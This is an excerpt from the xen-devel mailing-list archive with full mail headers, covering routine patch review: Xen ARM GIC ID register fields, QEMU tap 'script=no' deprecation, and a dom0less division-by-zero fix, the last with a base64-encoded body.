On 7/10/26 11:31 AM, Mykola Kvach wrote:
> Xen exposes ID_AA64PFR0_EL1.GIC and ID_PFR1.GIC from
> domain_cpuinfo, which is initialized from the sanitized host CPU feature
> state. This does not necessarily match the virtual interrupt controller
> configured for a domain.
> 
> On a GICv3 or newer host, a vGICv2 domain can observe a nonzero GIC
> field even though Xen disables EL1 access to the GIC CPU system register
> interface for that domain. On a GICv4.1 host, a vGICv3 domain can
> observe encoding 0b0011, which advertises GICv4.1 CPU interface support
> that Xen's vGICv3 model does not expose.
> 
> Derive both fields from d->arch.vgic.version in every trap path. Expose
> 0b0000 for vGICv2 and 0b0001 for vGICv3. This covers
> ID_AA64PFR0_EL1 and the ID_PFR1_EL1 alias in AArch64 state, as well as
> ID_PFR1 accessed through CP15 in AArch32 state.
> 
> This is consistent with KVM, which derives both ID fields from the
> configured virtual GIC model.
> 
> Fixes: 07b9acea116e ("xen/arm: Add handler for ID registers on arm64")
> Fixes: 8f81064a07c6 ("xen/arm: Add handler for cp15 ID registers")
> Signed-off-by: Mykola Kvach <mykola_kvach@epam.com>
> ---

Considering that patches mentioned in Fixes are from 2020 it doesn't 
like that the bug is too critical unless maintainers tell that we have 
to take it I think it would be better to postpone the patch until 4.22 
release.

Thanks.

~ Oleksii



From xen-devel-bounces@lists.xenproject.org Mon Jul 13 09:38:26 2026
Return-path: <xen-devel-bounces@lists.xenproject.org>
Envelope-to: archives@lists.xen.org
Delivery-date: Mon, 13 Jul 2026 09:38:26 +0000
Received: from list by lists.xenproject.org with outflank-mailman.1361543.1613736 (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1wjD71-0003k8-1M; Mon, 13 Jul 2026 09:38:07 +0000
X-Outflank-Mailman: Message body and most headers restored to incoming version
Received: by outflank-mailman (output) from mailman id 1361543.1613736; Mon, 13 Jul 2026 09:38:07 +0000
Received: from localhost ([127.0.0.1] helo=lists.xenproject.org)
	by lists.xenproject.org with esmtp (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1wjD70-0003k1-U0; Mon, 13 Jul 2026 09:38:06 +0000
Received: by outflank-mailman (input) for mailman id 1361543;
 Mon, 13 Jul 2026 09:38:05 +0000
Received: from mx.expurgate.net ([195.190.135.10])
 by lists.xenproject.org with esmtp (Exim 4.92)
 (envelope-from <vsementsov@yandex-team.ru>) id 1wjD6z-0003jv-2Y
 for xen-devel@lists.xenproject.org; Mon, 13 Jul 2026 09:38:05 +0000
Received: from mx.expurgate.net (helo=localhost) by mx.expurgate.net with esmtp
 id 1wjD6y-006Urm-7A
 for xen-devel@lists.xenproject.org; Mon, 13 Jul 2026 11:38:04 +0200
Received: from [10.42.69.2] (helo=localhost)
 by localhost with ESMTP (eXpurgate MTA 0.9.1)
 (envelope-from <vsementsov@yandex-team.ru>)
 id 6a54b1fb-bab6-0a2a0a5309dd-0a2a450296e6-2
 for <xen-devel@lists.xenproject.org>; Mon, 13 Jul 2026 11:38:03 +0200
Received: from [178.154.239.200] (helo=forwardcorp1d.mail.yandex.net)
 by tlsNG-720697.mxtls.expurgate.net with ESMTPS (eXpurgate 4.57.2)
 (envelope-from <vsementsov@yandex-team.ru>)
 id 6a54b1f6-64c6-0a2a45020019-b29aefc88bfe-3
 for <xen-devel@lists.xenproject.org>; Mon, 13 Jul 2026 11:37:58 +0200
Received: from mail-nwsmtp-smtp-corp-main-68.klg.yp-c.yandex.net
 (mail-nwsmtp-smtp-corp-main-68.klg.yp-c.yandex.net
 [IPv6:2a02:6b8:c42:94a9:0:640:a3fa:0])
 by forwardcorp1d.mail.yandex.net (postfix) with ESMTPS id 0B8BD80D23;
 Mon, 13 Jul 2026 12:37:58 +0300 (MSK)
Received: from [IPV6:2a02:6bf:8080:c5a::1:8] (unknown [2a02:6bf:8080:c5a::1:8])
 by mail-nwsmtp-smtp-corp-main-68.klg.yp-c.yandex.net (smtpcorp) with ESMTPSA
 id sbKrT10a84Y0-nOS8gQZY; Mon, 13 Jul 2026 12:37:57 +0300
X-BeenThere: xen-devel@lists.xenproject.org
List-Id: Xen developer discussion <xen-devel.lists.xenproject.org>
List-Unsubscribe: <https://lists.xenproject.org/mailman/options/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=unsubscribe>
List-Post: <mailto:xen-devel@lists.xenproject.org>
List-Help: <mailto:xen-devel-request@lists.xenproject.org?subject=help>
List-Subscribe: <https://lists.xenproject.org/mailman/listinfo/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=subscribe>
Errors-To: xen-devel-bounces@lists.xenproject.org
Sender: "Xen-devel" <xen-devel-bounces@lists.xenproject.org>
Authentication-Results: eu.smtp.expurgate.cloud; dkim=pass header.s=default header.d=yandex-team.ru header.i="@yandex-team.ru" header.h="From:In-Reply-To:Cc:Date:References:To:Subject:Message-ID"
Precedence: bulk
X-Yandex-Fwd: 1
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=yandex-team.ru;
	s=default; t=1783935477;
	bh=CTcAYbgj/3lc1gK9l4ZVRRXqBQQM2jCl6PzUptJwolI=;
	h=From:In-Reply-To:Cc:Date:References:To:Subject:Message-ID;
	b=EH+sRfASNV1d5CFYkTftwEXBhDoGEt6XsF0SygT6ZdOLSfYH1FyP1Fjbq1Vg4PSzk
	 pSFh1wuhrml/eqZ5oFxLccEtjrLCnSXddTt/TeusIY/TkhltWaAybsFD1E5MbCNG5b
	 BSz3uoFWpf3uXREd+fqVoM20dDFL14ppCRni+uN8=
Authentication-Results: mail-nwsmtp-smtp-corp-main-68.klg.yp-c.yandex.net; dkim=pass header.i=@yandex-team.ru
Message-ID: <d1ea2c42-7990-4529-b9f8-d0d9e35ffd51@yandex-team.ru>
Date: Mon, 13 Jul 2026 12:37:54 +0300
MIME-Version: 1.0
User-Agent: Mozilla Thunderbird
Subject: Re: [PATCH v18 03/14] net/tap: deprecate "no" as special value for
 script/downscript
To: Markus Armbruster <armbru@redhat.com>
Cc: jasowang@redhat.com, mst@redhat.com, peterx@redhat.com, farosas@suse.de,
 raphael.s.norwitz@gmail.com, bchaney@akamai.com, qemu-devel@nongnu.org,
 berrange@redhat.com, pbonzini@redhat.com, yc-core@yandex-team.ru,
 mark.caveayland@nutanix.com,
 Pierrick Bouvier <pierrick.bouvier@oss.qualcomm.com>,
 Sergio Lopez <slp@redhat.com>, Zhao Liu <zhao1.liu@intel.com>,
 Stefano Stabellini <sstabellini@kernel.org>,
 Anthony PERARD <anthony@xenproject.org>,
 "Edgar E. Iglesias" <edgar.iglesias@gmail.com>,
 Bernhard Beschow <shentey@gmail.com>,
 Alistair Francis <Alistair.Francis@wdc.com>,
 Palmer Dabbelt <palmer@dabbelt.com>, Jason Wang <jasowangio@gmail.com>,
 Eric Blake <eblake@redhat.com>,
 "open list:Incompatible changes" <devel@lists.libvirt.org>,
 "open list:X86 Xen CPUs" <xen-devel@lists.xenproject.org>,
 "open list:e500" <qemu-ppc@nongnu.org>,
 "open list:Microchip PolarFi..." <qemu-riscv@nongnu.org>
References: <20260710191809.721154-1-vsementsov@yandex-team.ru>
 <20260710191809.721154-4-vsementsov@yandex-team.ru>
 <87ech7uycy.fsf@pond.sub.org>
Content-Language: en-US
From: Vladimir Sementsov-Ogievskiy <vsementsov@yandex-team.ru>
In-Reply-To: <87ech7uycy.fsf@pond.sub.org>
Content-Type: text/plain; charset=UTF-8; format=flowed
Content-Transfer-Encoding: 7bit
X-purgate-ID: tlsNG-720697/1783935483-B354EA87-412D6A2F/0/0
X-purgate-type: clean
X-purgate-size: 1611

On 13.07.26 10:45, Markus Armbruster wrote:
> Vladimir Sementsov-Ogievskiy <vsementsov@yandex-team.ru> writes:
> 
>> The interface is ambiguous, as "no" is valid file name. So,
>> using "no" as a special value to disable script is deprecated.
>> Use an empty string ("script=" / "downscript=") instead.
>>
>> In a future version, "no" will be treated as a plain file name, just
>> like any other non-empty value.
>>
>> Document the deprecation in docs/about/deprecated.rst, qapi/net.json,
>> and qemu-options.hx. Update other docs to use empty string instead of
>> "no". Add a warning.
>>
>> Signed-off-by: Vladimir Sementsov-Ogievskiy <vsementsov@yandex-team.ru>
> 
> [...]
> 
>> diff --git a/net/tap.c b/net/tap.c
>> index fedd48c48d2..1ec9e5ebe6f 100644
>> --- a/net/tap.c
>> +++ b/net/tap.c
>> @@ -103,6 +103,8 @@ static bool tap_is_explicit_no_script(const char *script_arg)
>>       }
>>   
>>       if (strcmp(script_arg, "no") == 0) {
>> +        warn_report("script=no/downscript=no is deprecated; "
>> +                    "use script=/downscript= instead");
> 
> net_init_tap() could pass the parameter name for a simpler error
> message.  Probably not worth the bother.
> 
>>           return true;
>>       }
>>   
> 
> In net_init_tap_one():
> 
>             qemu_set_info_str(&s->nc, "ifname=%s,script=%s,downscript=%s", ifname,
>                               script ?: "no", downscript ?: "no");
> 
> This sets nc->info_str, which is shown by "info network".  Should we
> replace "no" by ""?
> 


Agree, will do.


-- 
Best regards,
Vladimir


From xen-devel-bounces@lists.xenproject.org Mon Jul 13 09:44:49 2026
Return-path: <xen-devel-bounces@lists.xenproject.org>
Envelope-to: archives@lists.xen.org
Delivery-date: Mon, 13 Jul 2026 09:44:49 +0000
Received: from list by lists.xenproject.org with outflank-mailman.1361555.1613744 (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1wjDDR-0005K7-Nz; Mon, 13 Jul 2026 09:44:45 +0000
X-Outflank-Mailman: Message body and most headers restored to incoming version
Received: by outflank-mailman (output) from mailman id 1361555.1613744; Mon, 13 Jul 2026 09:44:45 +0000
Received: from localhost ([127.0.0.1] helo=lists.xenproject.org)
	by lists.xenproject.org with esmtp (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1wjDDR-0005K0-Kb; Mon, 13 Jul 2026 09:44:45 +0000
Received: by outflank-mailman (input) for mailman id 1361555;
 Mon, 13 Jul 2026 09:44:44 +0000
Received: from mx.expurgate.net ([195.190.135.10])
 by lists.xenproject.org with esmtp (Exim 4.92)
 (envelope-from <dmytro_prokopchuk1@epam.com>) id 1wjDDQ-0005Ju-17
 for xen-devel@lists.xenproject.org; Mon, 13 Jul 2026 09:44:44 +0000
Received: from mx.expurgate.net (helo=localhost) by mx.expurgate.net with esmtp
 id 1wjDDP-006VsJ-AS
 for xen-devel@lists.xenproject.org; Mon, 13 Jul 2026 11:44:43 +0200
Received: from [10.42.69.12] (helo=localhost)
 by localhost with ESMTP (eXpurgate MTA 0.9.1)
 (envelope-from <dmytro_prokopchuk1@epam.com>)
 id 6a54b37f-5cb7-0a2a0a5109dd-0a2a450cddec-28
 for <xen-devel@lists.xenproject.org>; Mon, 13 Jul 2026 11:44:43 +0200
Received: from [52.101.84.88]
 (helo=DB3PR0202CU003.outbound.protection.outlook.com)
 by tlsNG-d25034.mxtls.expurgate.net with ESMTPS (eXpurgate 4.57.2)
 (envelope-from <dmytro_prokopchuk1@epam.com>)
 id 6a54b38a-e897-0a2a450c0019-34655458308c-3
 for <xen-devel@lists.xenproject.org>; Mon, 13 Jul 2026 11:44:43 +0200
Received: from AM9PR03MB7526.eurprd03.prod.outlook.com (2603:10a6:20b:3de::17)
 by VI1PR03MB10079.eurprd03.prod.outlook.com (2603:10a6:800:1cf::20)
 with Microsoft SMTP Server (version=TLS1_2,
 cipher=TLS_ECDHE_RSA_WITH_AES_256_GCM_SHA384) id 15.21.202.18; Mon, 13 Jul
 2026 09:44:38 +0000
Received: from AM9PR03MB7526.eurprd03.prod.outlook.com
 ([fe80::904d:5820:80e1:41ba]) by AM9PR03MB7526.eurprd03.prod.outlook.com
 ([fe80::904d:5820:80e1:41ba%5]) with mapi id 15.21.0202.014; Mon, 13 Jul 2026
 09:44:37 +0000
X-BeenThere: xen-devel@lists.xenproject.org
List-Id: Xen developer discussion <xen-devel.lists.xenproject.org>
List-Unsubscribe: <https://lists.xenproject.org/mailman/options/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=unsubscribe>
List-Post: <mailto:xen-devel@lists.xenproject.org>
List-Help: <mailto:xen-devel-request@lists.xenproject.org?subject=help>
List-Subscribe: <https://lists.xenproject.org/mailman/listinfo/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=subscribe>
Errors-To: xen-devel-bounces@lists.xenproject.org
Precedence: list
Sender: "Xen-devel" <xen-devel-bounces@lists.xenproject.org>
Authentication-Results: eu.smtp.expurgate.cloud; dkim=pass header.s=selector1 header.d=epam.com header.i="@epam.com" header.h="From:Date:Subject:Message-ID:Content-Type:MIME-Version:x-ms-exchange-senderadcheck"
ARC-Seal: i=1; a=rsa-sha256; s=arcselector10001; d=microsoft.com; cv=none;
 b=MHdM0rJoyPGCnW6SdMv8td41qmfkCsjUXglVR8vSu8OPJNo8o3wCeV+Nvf/Tg7M+FttVeh7Ao7gZx45rILLSTDQwx89Rx+Szia/YjiO6amb6F+oOmxMbRa2S7r3h4MNLfoh0QBPmPfHjGc7xOw5yOlrJKk+nnbMNtT62oo91DeX9NiRm7d2n0+B4bL8QRs32jjErLS/2flsjzEz3aKXiBlRtOcT/yZUKRzqBN/ou6AwlRYQjF9fT4jt411yy4wjZTaIGwFmv4t1DXX7VGYZEJKipD96Q+S6gaUXDcoNkm30CDPH+sJZUb6uWlaE83VOyYFIHvo6V3ZM05jyTmzGEQQ==
ARC-Message-Signature: i=1; a=rsa-sha256; c=relaxed/relaxed; d=microsoft.com;
 s=arcselector10001;
 h=From:Date:Subject:Message-ID:Content-Type:MIME-Version:X-MS-Exchange-AntiSpam-MessageData-ChunkCount:X-MS-Exchange-AntiSpam-MessageData-0:X-MS-Exchange-AntiSpam-MessageData-1;
 bh=XwuSUcrSXcB4oQmMcwHcC8098ZqXr2F7X2ivf5acVh4=;
 b=w+GHB1ZKBxuIPYyVpJn9ZNsnNPxYG9Q5Ib8LyPLY221fgc/p0VIQneXohu95h/2fXgB4jsuFPxGMKOE/odgqYzjc8a/1BonHTgO1Oazd0a/KFBIY/dJiQ5yrlRQ4xZEYusg7YnOSIDfWLc7yVPVgik5rUZd6qK5vLq7FG+kdEBa5M3Yp00ZddXuupywAaEPSVcjRz4WTfMZKmlknNyXeuVzIwpI0Mqlkbg0oZk7Tp4FjSHa6gpgEobyMUVnc+xwY8Qp0zsfUEidQFBAzdx9RBqKPByvwzWh2MxnEYNmRyCBTGgwIVYExMkqkq28UKv8oNCo++XTEUUnI5Iznn3y1Jw==
ARC-Authentication-Results: i=1; mx.microsoft.com 1; spf=pass
 smtp.mailfrom=epam.com; dmarc=pass action=none header.from=epam.com;
 dkim=pass header.d=epam.com; arc=none
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=epam.com; s=selector1;
 h=From:Date:Subject:Message-ID:Content-Type:MIME-Version:X-MS-Exchange-SenderADCheck;
 bh=XwuSUcrSXcB4oQmMcwHcC8098ZqXr2F7X2ivf5acVh4=;
 b=lDvjjiqMq7I/966Tl46n1jvhgaRSzbgD7eh67X+SKLyK7sw4Zidfhe6iPbQmWg4NdGgWoKN5ntgpiZv3bnAKdWh2cMbkmyf+eN6fXo84aWP51ljRHyxUSWZ8VcyQAThjsiEpp40VKZPDj8OWsFcMSfO+RzEQaS30bfRMEZEMyzQo8mRDSl7QIZatoGivPngMQbmBrHwU+Pu6nY5HJfYFvbBsxT2+0ASbSjaurQpi/iTOd0txY2pi5Bp4XYj9w+l7WQn6ZARMgPKGa9PhOHLHjB8c/W+duWNqgIUTXN0AwXOzPsfwyEZuzhNzLoVw5tAnb1H6+hhPcWZKEEENvKSqqA==
From: Dmytro Prokopchuk1 <dmytro_prokopchuk1@epam.com>
To: "Orzel, Michal" <michal.orzel@amd.com>, "xen-devel@lists.xenproject.org"
	<xen-devel@lists.xenproject.org>
CC: Stefano Stabellini <sstabellini@kernel.org>, Julien Grall
	<julien@xen.org>, Bertrand Marquis <bertrand.marquis@arm.com>, Oleksii
 Kurochko <oleksii.kurochko@gmail.com>
Subject: Re: [PATCH v6] dom0less: Prevent division by zero in
 handle_passthrough_prop()
Thread-Topic: [PATCH v6] dom0less: Prevent division by zero in
 handle_passthrough_prop()
Thread-Index: AQHdEfWIck0nSDsiiEuWy8nQa16TY7ZrDIuAgAAn+YA=
Date: Mon, 13 Jul 2026 09:44:37 +0000
Message-ID: <ee26bcf6-ace8-470c-871d-95e20e4f0c9e@epam.com>
References:
 <351b89ba726d5524fd920cc28b7204d683fa8c43.1783856794.git.dmytro_prokopchuk1@epam.com>
 <e61f2f7e-4686-4566-8916-b22f38332786@amd.com>
In-Reply-To: <e61f2f7e-4686-4566-8916-b22f38332786@amd.com>
Accept-Language: en-US, uk-UA, ru-RU
Content-Language: en-US
X-MS-Has-Attach:
X-MS-TNEF-Correlator:
authentication-results: dkim=none (message not signed)
 header.d=none;dmarc=none action=none header.from=epam.com;
x-ms-publictraffictype: Email
x-ms-traffictypediagnostic: AM9PR03MB7526:EE_|VI1PR03MB10079:EE_
x-ms-office365-filtering-correlation-id: e2953846-c6e1-4ad3-d16e-08dee0c35abb
x-ms-exchange-senderadcheck: 1
x-ms-exchange-antispam-relay: 0
x-microsoft-antispam:
 BCL:0;ARA:13230040|23010399003|376014|42112799006|366016|1800799024|38070700021|56012099006|4143699003|11063799006|22082099003|18002099003|3023799007|4133799003;
x-microsoft-antispam-message-info:
 99X9S1cWQwwRY90ze7TwDuzO0pzgpFH9RiAjOqlO/0IXukECkmJWsofjW5gYCxSOV51M6tqHOTeCw1DVWVhPW9L1jE/gtrjC8Ro07my2/vOQPi4BpZXGuFYilyFH3aJP7Yx3SK0JmO9pcCv2slpe1AY1O/m5wqlsXGkCLJxAJoV11E1yroaC5RdYUKRhMXJg3gUBmtNaChTgnqkZIADBrLYWft54upW9Tn1rixTbpWLZqPlPDdhVR5+7LO7yYAUmyu99kDf7/MVWSkn7gmtMiwcT8fBKCrqOhPoimBft2uMUajh15r2qfTKfY4aKMiIpeOVcSuTp2lqntMps4VM8safXAHhyfyzpQW77g6p1k9mxF/YiI98IrvcMJv/Vrb2Rf2FefqIygRcs/SZOfPhJ06u3oRvI5Oh97CSjbyAS3pWUoXwEvi28JVnMhdRdl/Y8kD9NBvXX6RHDNA6PRkrU7B88TQtxAHKVB9PjTOG/C1uF6EaYSSCTsfh5qbxXS/mpECBaCUxsgzMkbUGASHLdz6EnMJXNrsKzq0iu1tgf1aAG7EHzNkHirWdO0bPm8wo9nWgpn4WvViA4+rQy/OszsBbp+jhcpELA+CzCPMW0DQdNNneWqi1eheFkERf9LGLb2ZSyo0Qcoce3HDdm1WpEx+ogtoDrgTaytZqUK8YpPGlkz1IyqlWcL1Oac055B0Y9Z4PO4U28gJ2Ftt8chusWPtIEzTd25Qdp0JczIyVydzo=
x-forefront-antispam-report:
 CIP:255.255.255.255;CTRY:;LANG:en;SCL:1;SRV:;IPV:NLI;SFV:NSPM;H:AM9PR03MB7526.eurprd03.prod.outlook.com;PTR:;CAT:NONE;SFS:(13230040)(23010399003)(376014)(42112799006)(366016)(1800799024)(38070700021)(56012099006)(4143699003)(11063799006)(22082099003)(18002099003)(3023799007)(4133799003);DIR:OUT;SFP:1102;
x-ms-exchange-antispam-messagedata-chunkcount: 1
x-ms-exchange-antispam-messagedata-0:
 =?utf-8?B?U2ppTXdzQzZ6YWpteFVUaituSTltdUJyR2I1anNaVng4UHE0czZkeUMwM1Bi?=
 =?utf-8?B?UDJNN3U1alJrcEUvempXdkRaQzRBOGJUaFpJVm1ZWUkycmxhbjdlR05DVy9o?=
 =?utf-8?B?UkY4YWtOSnJvUTVqUlpKNUpuejJLUDJaV3lFc0pqNDlUMmVCemNaUlA0OGd5?=
 =?utf-8?B?Nkt1bmg5THVlZXlHUHFlUHpxNCtneUVJam1YcnhOZ3JiR3U2ZzVweHg5SGVO?=
 =?utf-8?B?QnZLR2l2T2djNjRKWFhBTUY0eThIRC9WVXF3VHY0aVQ0dlNqQmJCeXVMd2Jr?=
 =?utf-8?B?Ui9MbnlHejh0WnU1ekllWjRvVmVYMXl6bWE4bFVkMWRFRFRHQ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RYWZHaHVNRlJZdVpVWE1zYkVLSC8yY2hzekRV?=
 =?utf-8?B?eVBsaTJPMVljVUZYRDZrSFFZOTVybUdVS1I1STd4L210c3A4NXFvV3NHbkV2?=
 =?utf-8?B?SUw0Z3VnZE4rNTBJcTF4UkVlcDcwdGV6WmxEZGUwTnhPQjFjTUhDQ2ZSa1Zh?=
 =?utf-8?B?WkRZeW5KRWtpemYyVE5vZnY5SDdUWXhHZDFPeFR3elE2bS9pVmV6WGpINklB?=
 =?utf-8?B?bmpibnVIUmZ2NHNkd292WWpYRmNrWW56UURROE50RjdMZFd3S0dEQ3VEZk9Q?=
 =?utf-8?Q?Mq6Qj73xiZANlen4=3D?=
Content-Type: text/plain; charset="utf-8"
Content-ID: <8BCEF319226CF14BB95E92E29958FB80@eurprd03.prod.outlook.com>
Content-Transfer-Encoding: base64
MIME-Version: 1.0
X-OriginatorOrg: epam.com
X-MS-Exchange-CrossTenant-AuthAs: Internal
X-MS-Exchange-CrossTenant-AuthSource: AM9PR03MB7526.eurprd03.prod.outlook.com
X-MS-Exchange-CrossTenant-Network-Message-Id: e2953846-c6e1-4ad3-d16e-08dee0c35abb
X-MS-Exchange-CrossTenant-originalarrivaltime: 13 Jul 2026 09:44:37.8470
 (UTC)
X-MS-Exchange-CrossTenant-fromentityheader: Hosted
X-MS-Exchange-CrossTenant-id: b41b72d0-4e9f-4c26-8a69-f949f367c91d
X-MS-Exchange-CrossTenant-mailboxtype: HOSTED
X-MS-Exchange-CrossTenant-userprincipalname: J2wjWdcKe2hfCwXZkvrTAZlgjpTeTycQCT78i4hZYjqyoiXG8IwxUQfPkxIy6YiFSwgOoC60ulET+zVKzVsjo96diq14c4K/qXjyBZH2T+w=
X-MS-Exchange-Transport-CrossTenantHeadersStamped: VI1PR03MB10079
X-purgate-ID: tlsNG-d25034/1783935883-452FA6B2-F8451A0A/0/0
X-purgate-type: clean
X-purgate-size: 4758

SGVsbG8gTWljaGFsLCBPbGVrc2lpDQoNClNvcnJ5LCBk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j4+ICAgICAgIGxlbiA9IGZkdDMyX3RvX2NwdSh4ZW5fcmVn
LT5sZW4pIC8gKChhZGRyZXNzX2NlbGxzICogMiArIHNpemVfY2VsbHMpICoNCj4+IC0gICAgICAg
ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgc2l6ZW9mKHVpbnQzMl90KSk7DQo+PiAr
ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIHNpemVvZigqY2VsbCkpOw0K
Pj4NCj4+ICAgICAgIGZvciAoIGkgPSAwOyBpIDwgbGVuOyBpKysgKQ0KPj4gICAgICAgew0KPg0K


From xen-devel-bounces@lists.xenproject.org Mon Jul 13 09:48:15 2026
Return-path: <xen-devel-bounces@lists.xenproject.org>
Envelope-to: archives@lists.xen.org
Delivery-date: Mon, 13 Jul 2026 09:48:15 +0000
Received: from list by lists.xenproject.org with outflank-mailman.1361565.1613753 (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1wjDGo-0005wr-67; Mon, 13 Jul 2026 09:48:14 +0000
X-Outflank-Mailman: Message body and most headers restored to incoming version
Received: by outflank-mailman (output) from mailman id 1361565.1613753; Mon, 13 Jul 2026 09:48:14 +0000
Received: from localhost ([127.0.0.1] helo=lists.xenproject.org)
	by lists.xenproject.org with esmtp (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1wjDGo-0005wk-2o; Mon, 13 Jul 2026 09:48:14 +0000
Received: by outflank-mailman (input) for mailman id 1361565;
 Mon, 13 Jul 2026 09:48:12 +0000
Received: from mx.expurgate.net ([194.145.224.20])
 by lists.xenproject.org with esmtp (Exim 4.92)
 (envelope-from <berrange@redhat.com>) id 1wjDGm-0005wd-DI
 for xen-devel@lists.xenproject.org; Mon, 13 Jul 2026 09:48:12 +0000
Received: from mx.expurgate.net (helo=localhost) by mx.expurgate.net with esmtp
 id 1wjDGl-006rcq-9D
 for xen-devel@lists.xenproject.org; Mon, 13 Jul 2026 11:48:11 +0200
Received: from [10.42.69.10] (helo=localhost)
 by localhost with ESMTP (eXpurgate MTA 0.9.1)
 (envelope-from <berrange@redhat.com>)
 id 6a54b459-5cb7-0a2a0a5109dd-0a2a450a82b8-10
 for <xen-devel@lists.xenproject.org>; Mon, 13 Jul 2026 11:48:10 +0200
Received: from [170.10.133.124] (helo=us-smtp-delivery-124.mimecast.com)
 by tlsNG-4011c0.mxtls.expurgate.net with ESMTPS (eXpurgate 4.57.2)
 (envelope-from <berrange@redhat.com>)
 id 6a54b459-ec7d-0a2a450a0019-aa0a857c6e07-3
 for <xen-devel@lists.xenproject.org>; Mon, 13 Jul 2026 11:48:10 +0200
Received: from mx-prod-mc-08.mail-002.prod.us-west-2.aws.redhat.com
 (ec2-35-165-154-97.us-west-2.compute.amazonaws.com [35.165.154.97]) by
 relay.mimecast.com with ESMTP with STARTTLS (version=TLSv1.3,
 cipher=TLS_AES_256_GCM_SHA384) id us-mta-578-2WXUjvIHNqGIPGVhxRUOPw-1; Mon,
 13 Jul 2026 05:48:05 -0400
Received: from mx-prod-int-05.mail-002.prod.us-west-2.aws.redhat.com
 (mx-prod-int-05.mail-002.prod.us-west-2.aws.redhat.com [10.30.177.17])
 (using TLSv1.3 with cipher TLS_AES_256_GCM_SHA384 (256/256 bits)
 key-exchange X25519 server-signature RSA-PSS (2048 bits) server-digest SHA256)
 (No client certificate requested)
 by mx-prod-mc-08.mail-002.prod.us-west-2.aws.redhat.com (Postfix) with ESMTPS
 id 79E7D18052F2; Mon, 13 Jul 2026 09:48:01 +0000 (UTC)
Received: from redhat.com (unknown [10.44.50.22])
 by mx-prod-int-05.mail-002.prod.us-west-2.aws.redhat.com (Postfix) with ESMTPS
 id CA4BC195604B; Mon, 13 Jul 2026 09:47:52 +0000 (UTC)
X-BeenThere: xen-devel@lists.xenproject.org
List-Id: Xen developer discussion <xen-devel.lists.xenproject.org>
List-Unsubscribe: <https://lists.xenproject.org/mailman/options/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=unsubscribe>
List-Post: <mailto:xen-devel@lists.xenproject.org>
List-Help: <mailto:xen-devel-request@lists.xenproject.org?subject=help>
List-Subscribe: <https://lists.xenproject.org/mailman/listinfo/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=subscribe>
Errors-To: xen-devel-bounces@lists.xenproject.org
Precedence: list
Sender: "Xen-devel" <xen-devel-bounces@lists.xenproject.org>
Authentication-Results: eu.smtp.expurgate.cloud; dkim=pass header.s=mimecast20190719 header.d=redhat.com header.i="@redhat.com" header.h="From:Reply-To:Subject:Date:Message-ID:To:Cc:MIME-Version:Content-Type:In-Reply-To:References"
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=redhat.com;
	s=mimecast20190719; t=1783936089;
	h=from:from:reply-to:reply-to:subject:subject:date:date:
	 message-id:message-id:to:to:cc:cc:mime-version:mime-version:
	 content-type:content-type:in-reply-to:in-reply-to:  references:references;
	bh=f7npngFV1AQ2QwhoSPTXSrhzAwvyxpkZUaMlsdowmIw=;
	b=CBlv+yRp05ZGGN6wXA1fiC5RkumfKNRNVmZhtpuVvbQtNRWeAU2jBTm4iYYd+YN/qHcKWD
	Wm6OtDE0odcsfP1bjkZK+7pTnAa4na/PsLgqNZ3EmMrafXl5ddV99B93rB7KHXLZWwYYfW
	A4ooRfQgybYxbXFpO85F2gdeXS7UbMM=
X-MC-Unique: 2WXUjvIHNqGIPGVhxRUOPw-1
X-Mimecast-MFC-AGG-ID: 2WXUjvIHNqGIPGVhxRUOPw_1783936083
Date: Mon, 13 Jul 2026 10:47:49 +0100
From: Daniel =?utf-8?B?UC4gQmVycmFuZ8Op?= <berrange@redhat.com>
To: Vladimir Sementsov-Ogievskiy <vsementsov@yandex-team.ru>
Cc: Markus Armbruster <armbru@redhat.com>, jasowang@redhat.com,
	mst@redhat.com, peterx@redhat.com, farosas@suse.de,
	raphael.s.norwitz@gmail.com, bchaney@akamai.com,
	qemu-devel@nongnu.org, pbonzini@redhat.com, yc-core@yandex-team.ru,
	mark.caveayland@nutanix.com,
	Pierrick Bouvier <pierrick.bouvier@oss.qualcomm.com>,
	Sergio Lopez <slp@redhat.com>, Zhao Liu <zhao1.liu@intel.com>,
	Stefano Stabellini <sstabellini@kernel.org>,
	Anthony PERARD <anthony@xenproject.org>,
	"Edgar E. Iglesias" <edgar.iglesias@gmail.com>,
	Bernhard Beschow <shentey@gmail.com>,
	Alistair Francis <Alistair.Francis@wdc.com>,
	Palmer Dabbelt <palmer@dabbelt.com>,
	Jason Wang <jasowangio@gmail.com>, Eric Blake <eblake@redhat.com>,
	"open list:Incompatible changes" <devel@lists.libvirt.org>,
	"open list:X86 Xen CPUs" <xen-devel@lists.xenproject.org>,
	"open list:e500" <qemu-ppc@nongnu.org>,
	"open list:Microchip PolarFi..." <qemu-riscv@nongnu.org>
Subject: Re: [PATCH v18 03/14] net/tap: deprecate "no" as special value for
 script/downscript
Message-ID: <alS0RZqeyEOVy6e8@redhat.com>
Reply-To: Daniel =?utf-8?B?UC4gQmVycmFuZ8Op?= <berrange@redhat.com>
References: <20260710191809.721154-1-vsementsov@yandex-team.ru>
 <20260710191809.721154-4-vsementsov@yandex-team.ru>
 <87ech7uycy.fsf@pond.sub.org>
 <d1ea2c42-7990-4529-b9f8-d0d9e35ffd51@yandex-team.ru>
MIME-Version: 1.0
In-Reply-To: <d1ea2c42-7990-4529-b9f8-d0d9e35ffd51@yandex-team.ru>
